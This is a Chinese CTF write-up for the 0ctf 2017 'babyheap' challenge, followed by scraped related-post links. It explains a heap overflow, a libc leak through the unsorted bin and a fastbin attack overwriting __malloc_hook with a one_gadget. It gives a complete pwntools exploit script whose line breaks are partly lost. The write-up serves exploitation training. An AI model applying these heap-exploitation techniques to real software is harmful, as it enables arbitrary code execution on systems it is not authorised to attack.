前言

又是一道令人怀疑人生的 baby 题。

这道题利用思路非常巧妙,通过 堆溢出fastbin 的机制构造了 information leak, 然后通过 fastbin attack 可以读写 malloc_hook , 然后使用 one_gadgetgetshell.

题目和 idb 文件:https://gitee.com/hac425/blog_data/tree/master/babyheap

正文

程序涉及的结构体 info 的结构如下,可以通过 allocate 功能逆出来

程序首先 mmap 了一个 随机的地址,用于存放 info table(就是存储info的数组).

程序的漏洞在于,在 allocate 时程序根据我们的输入 分配 size (size < 0x1000)大小的块。

然而 在 fill 我们可以写入任意大小的数据

经典的堆溢出。

问题在于,程序保护全开,而且 info table 的地址还是随机的,而且分配内存时,用的时 calloc 会把内存初始化为0。 所以常用的 大chunk包含小chunk 的信息泄露方式没法使用。

这里通过将 堆溢出 转换为 uaf 来进行信息泄露。

首先分配 多个 chunk

然后释放 偏移为 1,3的块,它们会进入 fastbin,然后通过部分溢出chunk 2 使得下面那个 fastbinfd 指向下面那个大的块,然后溢出 chunk 4 修改其大小为 0x21bypassfastbin 分配的 check

然后分配两次我们就能再次拿到这个 大的 chunk, 代码如下



因为此时我们还没有得到任何 地址,不过各个 chunk 的相对偏移应该是固定的,只要内存的分配顺序,大小没有变化,所以我们可以通过修改 fd 的低字节(小端字节序)就能 使 fd 指向我们的 大chunk

此时我们在把 大chunksize 修复,然后 用 free 刚刚分配的 info,它就会进入 unsorted bin ,此时在 chunk+0x10 处就有了 main_arean 的地址 (unsorted bin的 指针),然后用另外一个 info 打印内容即可 leak.

费劲千辛万苦我们终于拿到了 libc 的地址,对于这种全开的一般想到的就是修改 __malloc_hook 或者 __free_hook, 问题来了,怎么修改。

又是一种新的思路。我们可以在 __malloc_hook 附近找到合适的位置,进行 fastbin attack.

x/4gx (long long)(&main_arena)-0x40+0xd



如果以这里为一个 chunk ,这个 chunk 应该被放到 0x70 大小的 fastbin 里面。所以接下来的利用思路就是,构造一个 0x70 大小的 fastbin , 然后溢出修改 fd 到这个 chunk ,分配两次我们就能读写 __malloc_hook了,修改它为 one_gadget即可。



还有一个小 tips ,之前 uaf 的时候还有一块 0x110chunkunsorted bin, 所以我们需要先把这块内存给分配掉,然后在 进行布局。

最后

one_gadget 一个一个试,与寄存器和内存数据的状态有关。利用 main_arean 的数据进行 fastbin attack 这个 思路强悍。

参考

http://uaf.io/exploitation/2017/03/19/0ctf-Quals-2017-BabyHeap2017.html

exp

from pwn import *
from time import sleep # x/4gx (long long)(&main_arena)-0x40+0xd def allocate(size):
p.recvuntil("Command:")
p.sendline("1")
p.recvuntil("Size:")
p.sendline(str(size))
sleep(0.1) def fill(index, content):
p.recvuntil("Command:")
p.sendline("2")
p.recvuntil("Index:")
p.sendline(str(index))
p.recvuntil("Size:")
p.sendline(str(len(content)))
p.recvuntil("Content:")
p.send(content)
sleep(0.1) def free(index):
p.recvuntil("Command:")
p.sendline("3")
p.recvuntil("Index:")
p.sendline(str(index))
sleep(0.1) def dump(index):
p.recvuntil("Command:")
p.sendline("4")
p.recvuntil("Index:")
p.sendline(str(index))
p.recvuntil("Content: \n") p = process("./0ctfbabyheap") gdb.attach(p,''' c ''') pause()
allocate(0x10) # 0
allocate(0x10) # 1
allocate(0x10) # 2
allocate(0x10) # 3
allocate(0x10) # 4
allocate(0x100) # 5
allocate(0x10) # 6
allocate(0x10) # 7 log.info("allocat some chunk, large in chunk 5")
pause() free(1)
free(3) log.info("free 1, 3")
#pause() payload = "A" *0x10
payload += p64(0)
payload += p64(0x0000000000000021)
payload += "\xa0"
fill(2, payload)
log.info("modify chunk 3 's fastbin ptr, to 0xa0")
#pause() payload = "A" *0x10
payload += p64(0)
payload += p64(0x0000000000000021)
fill(4, payload) log.info("modify chunk 5 's size to 0x21 for bypass check")
#pause() allocate(0x10) # 1
allocate(0x10) # 3, get large bin log.info("now allocate 2 chunk to get the large bin")
#pause() payload = "A" *0x10
payload += p64(0)
payload += p64(0x00000000000000111)
fill(4, payload) log.info("resume large chunk size")
#pause() free(3)
log.info("free the large bin, and our chunk 5 in unsorted bin")
#pause() dump(5) addr = u64(p.recv(8))
libc = addr - 0x3c4b78
one_gadget = libc + 0x4526a
log.info("libc: " + hex(libc))
log.info("one_gadget: " + hex(one_gadget))
#pause() allocate(0x100) # 3 allocate(0x60) # 8
free(8)
payload = "A" *0x10
payload += p64(0)
payload += p64(0x0000000000000071)
payload += p64(libc + 0x3c4aed) # fake fastbin 0x70 size
fill(7, payload)
log.info("fake fastbin")
#pause() allocate(0x60) # 8
allocate(0x60) # 9 log.info("now chunk 9 on " + hex(libc + 0x3c4aed)) payload = "A" * 19
payload += p64(one_gadget) # modify malloc hook
fill(9, payload) allocate(0x10) p.interactive()

0ctf2017-babyheap的更多相关文章

  1. Roarctf 几道pwn 复现

    1.easy_pwn 可以利用的点: __int64 __fastcall sub_E26(signed int a1, unsigned int a2) { __int64 result; // r ...

  2. pwn with glibc heap(堆利用手册)

    前言 ​ 对一些有趣的堆相关的漏洞的利用做一个记录,如有差错,请见谅. ​ 文中未做说明 均是指 glibc 2.23 ​ 相关引用已在文中进行了标注,如有遗漏,请提醒. 简单源码分析 ​ 本节只是简 ...

  3. 网鼎杯 pwn 记录

    题目位置 https://gitee.com/hac425/blog_data/tree/master/wdb babyheap 通过分配和释放构建 2 个 fastbin 链 利用 show 功能, ...

  4. 0ctf2018 pwn

    前言 对 0ctf2018 的 pwn 做一个总结 正文 babystack 漏洞 非常直接的 栈溢出 ssize_t sub_804843B() { char buf; // [esp+0h] [e ...

  5. Pwn with File结构体之利用 vtable 进行 ROP

    前言 本文以 0x00 CTF 2017 的 babyheap 为例介绍下通过修改 vtable 进行 rop 的操作 (:-_- 漏洞分析 首先查看一下程序开启的安全措施 18:07 haclh@u ...

  6. babyheap_fastbin_attack

    babyheap_fastbin_attack 首先检查程序保护 保护全开.是一个选单系统 分析程序 void new() { int index; // [rsp+0h] [rbp-10h] sig ...

  7. 2017-0ctf-babyheap

    fastbin attack + unsortedbin attack + __malloc_hook 的基础利用 题目下载 : https://uaf.io/assets/0ctfbabyheap ...

  8. *CTF pwn write up

    第一次做出XCTF的题目来,感谢wjh师傅的指点,虽然只做出一道最简单的pwn题,但是还是挺开心的.此贴用来记录一下,赛后试着看看其他大师傅的wp,看看能不能再做出一道题来. babyheap 程序有 ...

随机推荐

  1. vue聊天室|h5+vue仿微信聊天界面|vue仿微信

    一.项目简介 基于Vue2.0+Vuex+vue-router+webpack2.0+es6+vuePhotoPreview+wcPop等技术架构开发的仿微信界面聊天室——vueChatRoom,实现 ...

  2. zabbix数据库表结构解析

     下面开始介绍: 1.添加监控表结构详解 (1)hosts,存储被监控的机器的信息,表结构如下: (2)items (3)hosts_templates,存储机器和模版或者模版和模版之间的关系 由于模 ...

  3. 3、Xamarin Forms 调整安卓TabbedPage 下置

    降低学习成本是每个.NET传教士义务与责任. 建立生态,保护生态,见者有份.   教程晦涩难懂是我的错误. 对于默认的TabbedPage 上面进行页面切换 上面是安卓默认的情况 对我们大部分人来说都 ...

  4. 【数组】Search a 2D Matrix

    题目: Write an efficient algorithm that searches for a value in an m x n matrix. This matrix has the f ...

  5. sql 保留两位小数

    select convert(decimal(18,2),1800.2669)

  6. Redis持久化配置-AOF

    redis的持久化有rdb和aof两种. rdb是记录一段时间内的操作,一般的配置是一段时间内操作超过多少次就持久化.aof可以实现每次操作都持久化. 这里我们使用aof. 配置方式,打开redis的 ...

  7. R语言之数据处理常用包

    dplyr包是Hadley Wickham的新作,主要用于数据清洗和整理,该包专注dataframe数据格式,从而大幅提高了数据处理速度,并且提供了与其它数据库的接口:tidyr包的作者是Hadley ...

  8. 在 Ubuntu下安装 labelImg (标数据用)

    安装 SIP 下载 SIP 并解压 : $ sudo python configure.py $ make $ sudo make install 安装 依赖库 $  sudo apt-get ins ...

  9. Innosetup(pascal)标签控件label换行

    Label1.AutoSize := false; //先关闭自适应 Label1.WordWrap := true; //开启换行

  10. linux svn 开机启动

    在/etc/init.d中建立svnboot,内容如下: #!/bin/bash if [ ! -f "/usr/bin/svnserve" ] then echo "s ...